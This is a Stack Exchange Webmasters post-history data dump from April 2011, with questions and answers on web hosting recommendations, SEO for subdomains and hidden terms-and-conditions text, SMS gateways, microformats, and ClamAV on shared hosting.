  <row Id="29111" PostHistoryTypeId="2" PostId="12732" RevisionGUID="29103204-30b4-4843-8a8a-3f1274b8fcd0" CreationDate="2011-04-21T12:46:24.753" UserId="7006" Text="VPS.net is a reliable [VPS hosting][1] provider.  Their technology allows you to save lots of money, as you literally can scale up or down depending on your workload/needs. You may even opt to you use their CDN, Storage, or Daily VPS upgrades.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.best-webhost-review.com/vps-hosting-reviews.html" />
  <row Id="29112" PostHistoryTypeId="2" PostId="12733" RevisionGUID="aafda33b-440b-4da7-a538-27c3f8722646" CreationDate="2011-04-21T12:57:12.530" UserId="2490" Text="I use [Arvixe][1]. They are fast, good service, a lot of supported features.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="29113" PostHistoryTypeId="2" PostId="12734" RevisionGUID="b2c1be3a-5513-473f-8349-454d82328fe1" CreationDate="2011-04-21T13:16:36.093" UserId="1253" Text="This doesn't make any difference for image search at all. Either an image is relevant for the search term or it isn't. Where it is hosted doesn't matter.&#xD;&#xA;&#xD;&#xA;Image search is affected by other factors such as ALT text, text proximity, (if part of a hyper link) anchor text and/or keywords in the URL of the hyperlink, etc.&#xD;&#xA;" />
  <row Id="29114" PostHistoryTypeId="6" PostId="12731" RevisionGUID="bcdf2c4d-491a-4b83-9970-c752ffd0cf11" CreationDate="2011-04-21T13:18:17.247" UserId="1253" Comment="removed &quot;proxy avatar image&quot; tags, added &quot;image-search&quot; tag" Text="&lt;image-hosting&gt;&lt;gravatar&gt;&lt;image-search&gt;" />
  <row Id="29116" PostHistoryTypeId="5" PostId="12732" RevisionGUID="cdd856b3-2fe1-4c38-babd-a0ceb8036c96" CreationDate="2011-04-21T13:22:19.647" UserId="1253" Comment="Removed hyperlink" Text="VPS.net is a reliable VPS hostingprovider.  Their technology allows you to save lots of money, as you literally can scale up or down depending on your workload/needs. You may even opt to you use their CDN, Storage, or Daily VPS upgrades.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29117" PostHistoryTypeId="2" PostId="12735" RevisionGUID="bd6d5af9-188a-4de0-abf9-eb64024a3239" CreationDate="2011-04-21T13:24:06.870" UserId="1253" Text="If SSH is turned off then you are probably using shared hosting. This means you can't install software on your server. If you want custom software on your server you either need to find a host that already supports it or get a dedicate server or VPS.&#xD;&#xA;&#xD;&#xA;If you already have a dedicated server or VPS then you need to have them turn SSH on for you as there is no reason for it to be turned off. If they won't turn it on then you need to find a new host." />
  <row Id="29118" PostHistoryTypeId="2" PostId="12736" RevisionGUID="bb225a24-ab03-4400-a04b-16776868007c" CreationDate="2011-04-21T13:30:16.633" UserId="1253" Text="If you name your pages properly (as you do in your example) so that it display a relationship between the pages and/or link properly between these pages (i.e. use text such as &quot;next page&quot;, &quot;previous page&quot;, &quot;page 2&quot; etc) then you should be fine. &#xD;&#xA;&#xD;&#xA;If you want to help them out even more use [`&lt;link rel=&quot;next&quot;&gt;`][1] and [`&lt;link rel=&quot;prev&quot;&gt;`][2]. This details the relationship between pages in a series of pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/struct/links.html#h-12.1.2&#xD;&#xA;  [2]: http://www.w3.org/TR/html401/struct/links.html#h-12.1.2" />
  <row Id="29119" PostHistoryTypeId="17" PostId="12738" RevisionGUID="7e7b2105-c1b1-4621-b797-04bc110d0f22" CreationDate="2011-04-21T14:35:54.343" UserId="-1" Comment="from http://stackoverflow.com/questions/5736959/what-are-the-pros-and-cons-of-running-of-keeping-your-tumblr-at-mycompany-tumblr/5738832#5738832" Text="" />
  <row Id="29120" PostHistoryTypeId="2" PostId="12738" RevisionGUID="a23f0230-8e1c-425f-965c-f968c811c314" CreationDate="2011-04-21T02:25:34.190" UserId="3622" Text="Useless answer but a must. It depends.:)&#xD;&#xA;&lt;p&gt;If your company or web site is strong, I do not see much reason to use mycompany.tumblr.com. &lt;p&gt;First, there is a distance between your web site and tublr blog for your visitors. Even though it is just one click away between them, but it is still there. If your visitors go to your tublr blog, will they come back? not sure. &#xD;&#xA;&lt;p&gt;Second, if you company is strong while you put your official blog on their platforms, it seems you are not committed to your community or customer communication to me. &#xD;&#xA;&lt;p&gt;The last one I can think of though is not so important for some web sites,but if you have blog like mycompany.com/blog, and update it frequently, search engines will love that, this is especially true for those web sites with no fresh content. &#xD;&#xA;&lt;p&gt;On the other hand, the upsides of using mycompany.tumblr.com is you will get lots of back links to your web site, and some time you may get more visitors from tublr users, but I am not sure. Also you have a whole lot of options to customize your blog very easily like using different themes.  &#xD;&#xA;&lt;p&gt;Recap&lt;p&gt;&#xD;&#xA;&lt;p&gt;If your company or web site is small, maybe it make sense to use tublr as your blog, if you company is big, use your own domain and migrate tublr content to your domain blog. &#xD;&#xA;&lt;p&gt;By the way, our company is using both. " />
  <row Id="29121" PostHistoryTypeId="2" PostId="12737" RevisionGUID="2be1a872-05c5-444d-b485-d5d443115a55" CreationDate="2011-04-20T21:38:44.427" UserDisplayName="Susan" Text="I'm thinking it makes sense to run your Tumblr from mycompany.com/blog so the traffic is associated with your domain, but are there any reasons to leave it at mycompany.tumblr.com?" />
  <row Id="29122" PostHistoryTypeId="1" PostId="12737" RevisionGUID="2be1a872-05c5-444d-b485-d5d443115a55" CreationDate="2011-04-20T21:38:44.427" UserDisplayName="Susan" Text="What are the pros and cons of running of keeping your Tumblr at mycompany.tumblr.com vs. mycompany.com/blog" />
  <row Id="29123" PostHistoryTypeId="3" PostId="12737" RevisionGUID="2be1a872-05c5-444d-b485-d5d443115a55" CreationDate="2011-04-20T21:38:44.427" UserDisplayName="Susan" Text="&lt;seo&gt;&lt;tumblr&gt;" />
  <row Id="29124" PostHistoryTypeId="17" PostId="12737" RevisionGUID="d848001e-ba2e-4920-8696-47bfc700ac4f" CreationDate="2011-04-21T14:35:54.343" UserId="-1" Comment="from http://stackoverflow.com/questions/5736959/what-are-the-pros-and-cons-of-running-of-keeping-your-tumblr-at-mycompany-tumblr" Text="" />
  <row Id="29128" PostHistoryTypeId="2" PostId="12740" RevisionGUID="9f05c3ba-8b18-4f9c-b5f8-12d4de70527c" CreationDate="2011-04-21T14:51:01.020" UserId="7008" Text="Can anybody recommend a hosting service where security is paramount? We are looking for a VPS or dedicated service that offers hardware based firewalls (i.e. Juniper, Sonicwall), a hardened Linux based environment, software based intrusion prevention services (minimum cfs, mod_sec), and no latency issues. C-Panel based environment preferred. The host should provide the initial server- and security setup, including disabling all unnecessary services, we will rebuild all websites." />
  <row Id="29129" PostHistoryTypeId="1" PostId="12740" RevisionGUID="9f05c3ba-8b18-4f9c-b5f8-12d4de70527c" CreationDate="2011-04-21T14:51:01.020" UserId="7008" Text="Can anybody recommend a hosting service where security is paramount?" />
  <row Id="29130" PostHistoryTypeId="3" PostId="12740" RevisionGUID="9f05c3ba-8b18-4f9c-b5f8-12d4de70527c" CreationDate="2011-04-21T14:51:01.020" UserId="7008" Text="&lt;web-hosting&gt;" />
  <row Id="29131" PostHistoryTypeId="2" PostId="12741" RevisionGUID="8c898e32-d6a0-4896-bc65-8e407d949a69" CreationDate="2011-04-21T14:53:45.700" UserId="3790" Text="I use hostgator, it's just a very good and big hosting service.  &#xD;&#xA;So they probalby have very good security too...&#xD;&#xA;&#xD;&#xA;It's also very important to make your site itself secure." />
  <row Id="29132" PostHistoryTypeId="6" PostId="12740" RevisionGUID="24359661-9159-44cf-8e5d-24678ef95a77" CreationDate="2011-04-21T14:54:04.907" UserId="1253" Comment="added &quot;looking-for-hosting &quot; tag" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="29133" PostHistoryTypeId="2" PostId="12742" RevisionGUID="af2c0324-5ea9-447d-8c86-13180b9542f5" CreationDate="2011-04-21T14:58:55.167" UserId="1426" Text="I'd say the main advantage is that they aren't reliant on Gravatar for the page to work. I.e. if Gravatar was down for some reason, users wouldn't see errors or broken image links all over the page. &#xD;&#xA;&#xD;&#xA;Possible other advantages would be:&#xD;&#xA;&#xD;&#xA;* Speed - By hosting them MS can tweak things like expiry headers, serve them from their own CDN, and even go as far as to further optimise the image files in order to make their pages load faster&#xD;&#xA;&#xD;&#xA;* Control - if a user posted a porn image as their avatar MS have a little more power to change or censor it if they are hosting them&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29134" PostHistoryTypeId="2" PostId="12743" RevisionGUID="26b525ba-ed27-4190-a6d1-f3051edaf1ba" CreationDate="2011-04-21T15:02:20.550" UserId="7009" Text="We're a pre-launch startup with a LAMP based application. We're looking for recommendations for hosting services for our upcoming beta launch. Our main requirements:&#xD;&#xA;&#xD;&#xA; 1. LAMP support&#xD;&#xA; 2. Ability to schedule/start daily/hourly server-initiated batch jobs against our databases.&#xD;&#xA; 3. Relatively painless scalability when we grow - adding servers/databases/bandwidth without having to re-architecture everything or cause major outages.&#xD;&#xA; 4. Support for Wordpress&#xD;&#xA;&#xD;&#xA;Pointers will be appreciated." />
  <row Id="29135" PostHistoryTypeId="1" PostId="12743" RevisionGUID="26b525ba-ed27-4190-a6d1-f3051edaf1ba" CreationDate="2011-04-21T15:02:20.550" UserId="7009" Text="Looking for recommendation for PHP app hosting with (relatively) painless scalability" />
  <row Id="29136" PostHistoryTypeId="3" PostId="12743" RevisionGUID="26b525ba-ed27-4190-a6d1-f3051edaf1ba" CreationDate="2011-04-21T15:02:20.550" UserId="7009" Text="&lt;php&gt;&lt;web-hosting&gt;&lt;cloud-hosting&gt;" />
  <row Id="29137" PostHistoryTypeId="25" PostId="12731" RevisionGUID="e92dd788-446a-4fcd-a533-51b0e22a5665" CreationDate="2011-04-21T15:09:17.727" Comment="http://twitter.com/#!/StackWebmasters/status/61084095370903552" />
  <row Id="29138" PostHistoryTypeId="6" PostId="12743" RevisionGUID="fbb53d9e-e275-49a7-b046-0ee7674bd37f" CreationDate="2011-04-21T15:10:31.217" UserId="1253" Comment="added &quot;looking-for-hosting &quot; tag" Text="&lt;php&gt;&lt;web-hosting&gt;&lt;cloud-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="29139" PostHistoryTypeId="2" PostId="12744" RevisionGUID="9f69ca55-2f8a-45b7-b2db-b1e5f0ea9847" CreationDate="2011-04-21T15:22:35.173" UserId="3310" Text="Also they can include them on SSL protected pages without them coming from a 3rd party site which is a trust issue." />
  <row Id="29140" PostHistoryTypeId="5" PostId="9225" RevisionGUID="e0b9b456-e0a8-44f4-9279-a6ffd2c21830" CreationDate="2011-04-21T15:25:24.503" UserId="6973" Comment="that DOCTYPE code is looking odd on IE7, so I've changed it a bit" Text="currently all my php generated rich html webpages start with this line, which I have been adding to my tempaltes YEARS ago... &#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-html --&gt;&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;&#xD;&#xA;        &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;&#xD;&#xA;&#xD;&#xA;#UPDATE&#xD;&#xA;&#xD;&#xA;**Who Should Use Which Doctype? When Should One Change Doctype?** When I remove this line all still works fine. Is it still essentially needed to put all that at the top of my pages? What are my alternatives? Thanks very much for your suggestions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29141" PostHistoryTypeId="24" PostId="9225" RevisionGUID="e0b9b456-e0a8-44f4-9279-a6ffd2c21830" CreationDate="2011-04-21T15:25:24.503" Comment="Proposed by 6973 approved by 1253 edit id of 221" />
  <row Id="29143" PostHistoryTypeId="2" PostId="12745" RevisionGUID="27f42d95-c467-4aeb-a870-3afadde04a92" CreationDate="2011-04-21T15:40:27.970" UserId="322" Text="I have a requirement to challenge a visitor to accept the terms and conditions of the page they are viewing. If a user has not accepted the terms, it will be displayed on every page they visit, it will take the form of a JavaScript modal dialog but when js is not available it needs to be at the top of the page. When they accept, they will be cookied and the HTML for the challenge will not be output to the page.&#xD;&#xA;&#xD;&#xA;Search engine spiders will never accept the terms and conditions and will therefore see the T&amp;C copy on every page, vary near the top of the HTML source, and presumably index that for every page.&#xD;&#xA;&#xD;&#xA;**Is there a way to mark up an element to tell the spiders there is no useful information contained in this element, or &quot;Please don't index this element&quot;?**&#xD;&#xA;&#xD;&#xA;I guess this is kind of like reverse-cloaking. I want the SEs to ignore this legal jargon so that they can actually index the interesting content of the pages.&#xD;&#xA;&#xD;&#xA;Alternatively, **would it be considered cloaking, and as such incur a penalty if I hid this from the SEs based on user-agent?**" />
  <row Id="29144" PostHistoryTypeId="1" PostId="12745" RevisionGUID="27f42d95-c467-4aeb-a870-3afadde04a92" CreationDate="2011-04-21T15:40:27.970" UserId="322" Text="Hiding content from search spiders" />
  <row Id="29145" PostHistoryTypeId="3" PostId="12745" RevisionGUID="27f42d95-c467-4aeb-a870-3afadde04a92" CreationDate="2011-04-21T15:40:27.970" UserId="322" Text="&lt;seo&gt;&lt;cloaking&gt;" />
  <row Id="29146" PostHistoryTypeId="2" PostId="12746" RevisionGUID="1cd279cd-7147-4891-b12e-d9b2f9d47661" CreationDate="2011-04-21T17:11:54.513" UserId="1064" Text="&gt; Is there a way to mark up an element&#xD;&#xA;&gt; to tell the spiders there is no useful&#xD;&#xA;&gt; information contained in this element,&#xD;&#xA;&gt; or &quot;Please don't index this element&quot;?&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      document.write('search engines will ignore this content');&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;[Cloaking][1] involves serving different content to requests which you have identified as search engine spiders; this method simply serves the same Javascript up to anyone who requests the page.&#xD;&#xA;&#xD;&#xA;You might want to add a Javascript cookie check to skip display of the modal if the user has already accepted your T&amp;CoS.&#xD;&#xA;&#xD;&#xA;&gt; Would it be considered cloaking, and&#xD;&#xA;&gt; as such incur a penalty if I hid this&#xD;&#xA;&gt; from the SEs based on user-agent?&#xD;&#xA;&#xD;&#xA;That is the most typical implementation of cloaking.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cloaking" />
  <row Id="29148" PostHistoryTypeId="5" PostId="12587" RevisionGUID="7bd38920-c75e-41d7-bd73-f6eceb9ace21" CreationDate="2011-04-21T17:41:28.970" UserId="6966" Comment="deleted 1 characters in body" Text="I ended up using `mod_rewrite` to accomplish what I need:&#xD;&#xA;&#xD;&#xA;	RewriteEngine On&#xD;&#xA;	&#xD;&#xA;	RewriteCond %{HTTP_HOST} ^demo\.example\.com&#xD;&#xA;	RewriteRule ^robots\.txt$ robots-demo\.txt&#xD;&#xA;	&#xD;&#xA;	RewriteCond %{HTTP_HOST} !^demo\.example\.com&#xD;&#xA;	RewriteRule ^robots\.txt$ robots-othersites\.txt" />
  <row Id="29149" PostHistoryTypeId="17" PostId="12748" RevisionGUID="65936251-bf77-46f2-bc90-cf216d1716a4" CreationDate="2011-04-21T17:45:50.370" UserId="-1" Comment="from http://stackoverflow.com/questions/5746750/can-anyone-recommend-a-good-sms-gateway-for-php/5746858#5746858" Text="" />
  <row Id="29150" PostHistoryTypeId="2" PostId="12748" RevisionGUID="ae91f94b-f01f-4c76-93b6-46a945db1bd3" CreationDate="2011-04-21T16:14:32.683" UserDisplayName="Spudley" Text="I've used [Clickatell](http://www.clickatell.com) at a previous job, and it all seemed to work pretty well.&#xD;&#xA;&#xD;&#xA;They provided a PHP class for their API, and it all seemed to work pretty well.&#xD;&#xA;&#xD;&#xA;I can't say how good they are compared with anyone else, as I've not used any other services. All I can say is that they are legit, and they provided a service that worked for us.&#xD;&#xA;&#xD;&#xA;They're based in South Africa, but their service covers the world (we were in the UK, and their location had no effect on us).&#xD;&#xA;&#xD;&#xA;Hope that helps.&#xD;&#xA;" />
  <row Id="29151" PostHistoryTypeId="2" PostId="12747" RevisionGUID="b2869805-724c-4b4d-9729-350a6af68e3c" CreationDate="2011-04-21T16:05:12.640" UserDisplayName="Nick" Text="I'm looking for an SMS gateway that has the following criteria:&#xD;&#xA;&#xD;&#xA; - Supports sending from short codes&#xD;&#xA; - Opt-in capabilities for end-user (will require user to opt in before sending message)&#xD;&#xA; - Has a clean API, preferably an XML/ REST API, although SOAP is fine&#xD;&#xA; - The cheaper the better&#xD;&#xA;&#xD;&#xA;Honestly, I keep searching and searching all permutations of &quot;SMS Gateway API&quot; etc... on Google and I can't find any great services that can support all of these criteria. There are a lot of really SEO optimized sites and I can't tell which of them are legit. I'm looking for something that will be easy and quick to implement, and none of my colleagues have any recommendations. What APIs have you used (preferably with PHP) that have gotten this job done? Which services have been the most pleasant to deal with, both technically and support-wise?&#xD;&#xA;&#xD;&#xA;**Update:** Will be sending primarily (probably solely) in the US.&#xD;&#xA;" />
  <row Id="29152" PostHistoryTypeId="1" PostId="12747" RevisionGUID="b2869805-724c-4b4d-9729-350a6af68e3c" CreationDate="2011-04-21T16:05:12.640" UserDisplayName="Nick" Text="Can anyone recommend a good SMS gateway for PHP?" />
  <row Id="29153" PostHistoryTypeId="3" PostId="12747" RevisionGUID="b2869805-724c-4b4d-9729-350a6af68e3c" CreationDate="2011-04-21T16:05:12.640" UserDisplayName="Nick" Text="&lt;php&gt;&lt;api&gt;&lt;sms&gt;" />
  <row Id="29154" PostHistoryTypeId="17" PostId="12747" RevisionGUID="9af0dea3-54a7-4696-abc3-d4c40a3c2cf4" CreationDate="2011-04-21T17:45:50.370" UserId="-1" Comment="from http://stackoverflow.com/questions/5746750/can-anyone-recommend-a-good-sms-gateway-for-php" Text="" />
  <row Id="29155" PostHistoryTypeId="2" PostId="12749" RevisionGUID="dcee8500-e9a5-4f5e-81ab-c8afe5a662ff" CreationDate="2011-04-21T18:07:35.717" UserId="847" Text="[Google Webmaster Tools](http://www.google.com/webmasters/tools/) allow you to see specifically what is being indexed on your site, when, and what the results are." />
  <row Id="29156" PostHistoryTypeId="25" PostId="12747" RevisionGUID="5c8c0e01-5fc7-4130-9bcc-26e609266562" CreationDate="2011-04-21T18:09:17.753" Comment="http://twitter.com/#!/StackWebmasters/status/61129394344828928" />
  <row Id="29157" PostHistoryTypeId="2" PostId="12750" RevisionGUID="f1b4fe5a-f218-4b41-ab90-01c60fb7d39b" CreationDate="2011-04-21T18:11:36.490" UserId="847" Text="Sounds like you might be looking for a heatmap. Here's [one company](http://www.clicktale.com/) that offers it." />
  <row Id="29158" PostHistoryTypeId="2" PostId="12751" RevisionGUID="1511a857-1a6b-4b53-b694-ae9c1daa073c" CreationDate="2011-04-21T18:15:40.233" UserId="98" Text="(I work for Twilio)&#xD;&#xA;&#xD;&#xA;Twilio meets your requirements, with the following caveats:&#xD;&#xA;&#xD;&#xA; - Our short code product is (as of April 21, 2011) in a private preview, for which you can apply for access here http://www.twilio.com/sms/short-codes This will be publicly available soon.&#xD;&#xA; - Opt-in and opt-out capabilities are left up to your application logic&#xD;&#xA; - [We have the cleanest API][1] of any gateway I've used (I was in a similar situation as you prior to working here so I have a lot of experience working with many different providers).&#xD;&#xA; - Our prices for long-code SMS start at $1/month for the phone number and $.02/message. Complete pricing is posted on the site http://www.twilio.com/pricing/&#xD;&#xA; - We have a [PHP helper library][2] that makes integration easy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.twilio.com/docs/api/rest/sending-sms&#xD;&#xA;  [2]: http://www.twilio.com/docs/libraries/" />
  <row Id="29159" PostHistoryTypeId="2" PostId="12752" RevisionGUID="d6a1bf54-23f4-435b-ac9c-d15009b2bd06" CreationDate="2011-04-21T18:35:21.593" UserId="5042" Text="We run ads on Google and Bing, but are looking to try out some other ad networks. There are hundreds of other networks available, and I was wondering if any of you folks out in the community have experience with any of the smaller guys and could make a recommendation. (or warning?)" />
  <row Id="29160" PostHistoryTypeId="1" PostId="12752" RevisionGUID="d6a1bf54-23f4-435b-ac9c-d15009b2bd06" CreationDate="2011-04-21T18:35:21.593" UserId="5042" Text="Favorite &quot;Second Tier&quot; PPC networks?" />
  <row Id="29161" PostHistoryTypeId="3" PostId="12752" RevisionGUID="d6a1bf54-23f4-435b-ac9c-d15009b2bd06" CreationDate="2011-04-21T18:35:21.593" UserId="5042" Text="&lt;ppc&gt;" />
  <row Id="29162" PostHistoryTypeId="2" PostId="12753" RevisionGUID="f194713a-e4ff-4f0a-bcfc-c10b0d338c45" CreationDate="2011-04-21T18:36:56.680" UserId="4502" Text="Zurb's &lt;a href=&quot;http://verifyapp.com/&quot;&gt;Verify&lt;/a&gt; offers a bunch of different types of tests(&lt;a href=&quot;http://verifyapp.com/tour&quot;&gt;see the tour&lt;/a&gt;) for trying out concepts, and has a plan at $9/mo. A slightly more expensive plan offers deeper detail on users, but you'll have to evaluate if you need it.&#xD;&#xA;&#xD;&#xA;For another heatmap option, there's &lt;a href=&quot;http://www.crazyegg.com/&quot;&gt;Crazy Egg&lt;/a&gt; with a cheap plan at $9/mo. &#xD;&#xA;&#xD;&#xA;For eye-tracking, there's &lt;a href=&quot;http://www.silverbackapp.com/&quot;&gt;Silverback&lt;/a&gt; at $70. I'm not sure there's really a way around needing an actual testing group for this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[All prices &quot;as of this writing,&quot; obviously.]" />
  <row Id="29163" PostHistoryTypeId="2" PostId="12754" RevisionGUID="203bea8b-2cb9-4587-82df-92707bbc2b9b" CreationDate="2011-04-21T18:42:42.603" UserId="5042" Text="I've used click heat before: http://www.labsmedia.com/clickheat/index.html It is a self hosted, open source, PHP based heatmap system you can use for free. It works well for click tracking. As far as eye tracking goes, unless you have hardware, you are looking at mouse hover tracking. I think clicktail has it. &#xD;&#xA;&#xD;&#xA;You could use the mechanical turk as well, but I have no experience with it.&#xD;&#xA;&#xD;&#xA;Another option could be one of the pay for testing sites out there. A quick google turns up: http://www.usertesting.com/, http://www.feedbackarmy.com/, etc... I've seen ones where they record what the person is saying, and the actions they are taking and they can be effective for a nice usability overview." />
  <row Id="29164" PostHistoryTypeId="10" PostId="12752" RevisionGUID="67323c43-031d-44f7-a456-041114460fe0" CreationDate="2011-04-21T18:53:49.233" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29166" PostHistoryTypeId="2" PostId="12755" RevisionGUID="f812a503-19de-40c1-a1d4-57675f57b3e7" CreationDate="2011-04-21T19:53:44.210" UserId="7013" Text="I've applied some HTML around my aggregate review, I just wondered if anyone could tell me if it is valid (even though the Google Test Tool says it is) and that non of the extra HTML or style affects it being able to be read by Google:&#xD;&#xA;&#xD;&#xA;          &lt;div class=&quot;hreview-aggregate&quot;&gt; &#xD;&#xA;            &lt;div class=&quot;item&quot;&gt; &#xD;&#xA;              &lt;h2 class=&quot;n&quot;&gt;&lt;span class=&quot;fn org&quot;&gt;Chinese Takeaway&lt;/span&gt;&lt;/h2&gt; &#xD;&#xA;            &lt;/div&gt; &#xD;&#xA;            &lt;div class=&quot;type&quot;&gt;Eat &amp;amp; Drink - Chinese Takeaway&lt;/div&gt; &#xD;&#xA;            &lt;div id=&quot;rating-container&quot;&gt; &#xD;&#xA;                &lt;span class=&quot;rating&quot;&gt; &#xD;&#xA;                  &lt;img src=&quot;/img/star-4.png&quot; /&gt; &lt;span class=&quot;average&quot;&gt;4&lt;/span&gt; &#xD;&#xA;                &lt;/span&gt; &#xD;&#xA;                based on&#xD;&#xA;                &lt;span class=&quot;votes count&quot;&gt;1&lt;/span&gt; rating.&#xD;&#xA;            &lt;/div&gt; &#xD;&#xA;          &lt;/div&gt; &#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="29167" PostHistoryTypeId="1" PostId="12755" RevisionGUID="f812a503-19de-40c1-a1d4-57675f57b3e7" CreationDate="2011-04-21T19:53:44.210" UserId="7013" Text="Is this valid Google Review Microformat" />
  <row Id="29168" PostHistoryTypeId="3" PostId="12755" RevisionGUID="f812a503-19de-40c1-a1d4-57675f57b3e7" CreationDate="2011-04-21T19:53:44.210" UserId="7013" Text="&lt;seo&gt;&lt;html&gt;&lt;microformats&gt;" />
  <row Id="29174" PostHistoryTypeId="2" PostId="12758" RevisionGUID="50a8bc50-9110-4182-abee-e43eb87613ea" CreationDate="2011-04-21T18:20:50.253" UserId="5715" Text="Not sure if this belongs in web apps or not so migrate to a more suitable place if appropriate.&#xD;&#xA;&#xD;&#xA;I'll be releasing a commercial CMS at some point this year and the configuration areas make heavy use of the jquery plugin [iButton][1] which mimiks the iOS toggle button. So I want to know if I will be liable to pay patent fees to Apple for the use of that button style.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.givainc.com/labs/ibutton_jquery_plugin.htm" />
  <row Id="29175" PostHistoryTypeId="1" PostId="12758" RevisionGUID="50a8bc50-9110-4182-abee-e43eb87613ea" CreationDate="2011-04-21T18:20:50.253" UserId="5715" Text="Has Apple patented the toggle button found in the iOS" />
  <row Id="29176" PostHistoryTypeId="3" PostId="12758" RevisionGUID="50a8bc50-9110-4182-abee-e43eb87613ea" CreationDate="2011-04-21T18:20:50.253" UserId="5715" Text="&lt;apple&gt;" />
  <row Id="29177" PostHistoryTypeId="17" PostId="12758" RevisionGUID="06188892-f37c-43cf-93b8-2e61a57b2460" CreationDate="2011-04-21T20:10:59.450" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14719/has-apple-patented-the-toggle-button-found-in-the-ios" Text="" />
  <row Id="29182" PostHistoryTypeId="2" PostId="12759" RevisionGUID="51e26217-4b1e-4482-aa3d-a5deeec7c3c8" CreationDate="2011-04-21T20:29:49.333" UserId="6108" Text="I'm developing an application at the moment which shows local content based on location.&#xD;&#xA;&#xD;&#xA;Since the site is intended for local users, there won't be much need to change domain.&#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;Someone from london visiting *london.mysite.com* will receive only London-related content and would not necessarily be interested in anything on *edinburgh.mysite.com*&#xD;&#xA;&#xD;&#xA;The whole subdomain vs. sub-directory thing has been haunting me though and I'm not sure if this approach is best or if we'd be better with *mysite.com/edinburgh*&#xD;&#xA;&#xD;&#xA;Can any SEO gurus out there lend some advice?" />
  <row Id="29183" PostHistoryTypeId="1" PostId="12759" RevisionGUID="51e26217-4b1e-4482-aa3d-a5deeec7c3c8" CreationDate="2011-04-21T20:29:49.333" UserId="6108" Text="Should I choose sub-directories over sub-domains in this case?" />
  <row Id="29184" PostHistoryTypeId="3" PostId="12759" RevisionGUID="51e26217-4b1e-4482-aa3d-a5deeec7c3c8" CreationDate="2011-04-21T20:29:49.333" UserId="6108" Text="&lt;seo&gt;&lt;subdomain&gt;" />
  <row Id="29185" PostHistoryTypeId="2" PostId="12760" RevisionGUID="13f64244-f0c3-4d4e-9891-33737ac7d873" CreationDate="2011-04-21T20:54:41.710" UserId="6705" Text="I've bought/registered/verified a domain with Google Apps, setup an email ... so far so good. Everything works.&#xD;&#xA;&#xD;&#xA;How to now setup/host a small static page (plain html saying &quot;Soon! :)&quot; or something), on that domain using Google Apps?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29186" PostHistoryTypeId="1" PostId="12760" RevisionGUID="13f64244-f0c3-4d4e-9891-33737ac7d873" CreationDate="2011-04-21T20:54:41.710" UserId="6705" Text="How to setup a small static page on Google Apps?" />
  <row Id="29187" PostHistoryTypeId="3" PostId="12760" RevisionGUID="13f64244-f0c3-4d4e-9891-33737ac7d873" CreationDate="2011-04-21T20:54:41.710" UserId="6705" Text="&lt;google-apps&gt;" />
  <row Id="29188" PostHistoryTypeId="2" PostId="12761" RevisionGUID="000e34f3-62f6-4768-afd8-fcfa5a0253c8" CreationDate="2011-04-21T20:56:39.727" UserId="3556" Text="@Gavin Morrice: From a hosting and development point of view, sub-directories are so much easier and quicker to maintain (especially if you're not on a dedicated server). While trying to find the latest information on which method is the preferred or best one, the general sense I get is that (as far as Google is concerned), it really doesn't matter anymore. _If you build it, they will come_. &#xD;&#xA;&#xD;&#xA;It's about content; it has always been about content. If you can sort out relevance and structure, whether your articles about London are on _london.mysite.com_ or _mysite.com/london/_, doesn't make much of a difference and tales of sub-domains diluting Google's PageRank from the main site remain tales and certainly don't seem to be true anymore. " />
  <row Id="29189" PostHistoryTypeId="2" PostId="12762" RevisionGUID="6b3df6ce-79ca-42ad-887b-e18ef08d195e" CreationDate="2011-04-21T20:59:21.857" UserId="1253" Text="[There is no difference between the two as far as SEO goes][1]. Use which ever one is easier for you to work with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="29190" PostHistoryTypeId="25" PostId="12759" RevisionGUID="9da20e98-d405-4e82-b864-e64da2721016" CreationDate="2011-04-21T21:09:17.957" Comment="http://twitter.com/#!/StackWebmasters/status/61174692723179520" />
  <row Id="29191" PostHistoryTypeId="2" PostId="12763" RevisionGUID="a8e5f1b4-fac8-4b9b-96de-50ea55bef707" CreationDate="2011-04-20T21:46:12.743" UserDisplayName="user717941" Text="My Linux shared hosting (godaddy) doesn't have ClamAV installed.  Unfortunately, I'm not a Linux expert; so I don't know exactly what is involved in installing an application on a Linux.  So, my question is:&#xD;&#xA;&#xD;&#xA;1.  Can I install ClamAV on my shared hosting?&#xD;&#xA;2.  If I can't install it, is it possible to still use it somehow?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;James" />
  <row Id="29192" PostHistoryTypeId="1" PostId="12763" RevisionGUID="a8e5f1b4-fac8-4b9b-96de-50ea55bef707" CreationDate="2011-04-20T21:46:12.743" UserDisplayName="user717941" Text="Can I use ClamAV on a shared hosting?" />
